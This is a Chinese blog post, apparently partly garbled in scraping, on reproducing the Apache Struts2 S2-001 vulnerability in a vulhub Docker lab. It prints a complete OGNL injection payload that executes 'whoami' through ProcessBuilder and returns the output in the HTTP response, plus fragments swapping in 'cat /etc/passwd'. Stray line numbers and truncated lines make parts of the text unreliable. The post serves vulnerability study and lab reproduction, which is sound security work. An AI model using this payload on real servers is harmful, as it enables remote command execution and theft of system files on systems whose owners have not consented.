Apache Struts2 [1]是一个基于 MVC 设计模式的 Web 应用框架,会对某些标签属性(比如 id )的属性值进行二次表达式解析,因此在某些场景下将可能导致远程代码执行

Struts2 框架漏洞总结与复现 (上) 含 Struts2 检测工具_struts2 漏洞检查工具 - CSDN 博客

# S2-001 RCE

版本 Struts 2.0.0 - 2.0.8 注册或登录用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中,由于 ** 后端使 **** 用%{value} 对提交的数据执行了一次 OGNL ** 表达式解析,所以可以直接构造 Payload 进行命令执行

进入 vulhub 目录开始构建启动

1
2
docker compose build  
docker compose up -d

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
获取用户whoami,替换里面的命就可以执行对应的

%{

#a=(new java.lang.ProcessBuilder(new java.lang.String[]{" whoami "})).redirectErrorStream(true).start(),

#b=#a.getInputStream(),

#c=new java.io.InputStreamReader(#b),

#d=new java.io.BufferedReader(#c),

#e=new char[50000],

#d.read(#e),

#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),

#f.getWriter().println(new java.lang.String(#e)),

#f.getWriter().flush(),#f.getWriter().close()

}


--------------------


[]{"cat","/etc/passwd"}))

[]{"whoami"}))

输入读取文件 Payload

回显文件成功命令执行


  1. 丝抓图 ↩︎

更新于 阅读次数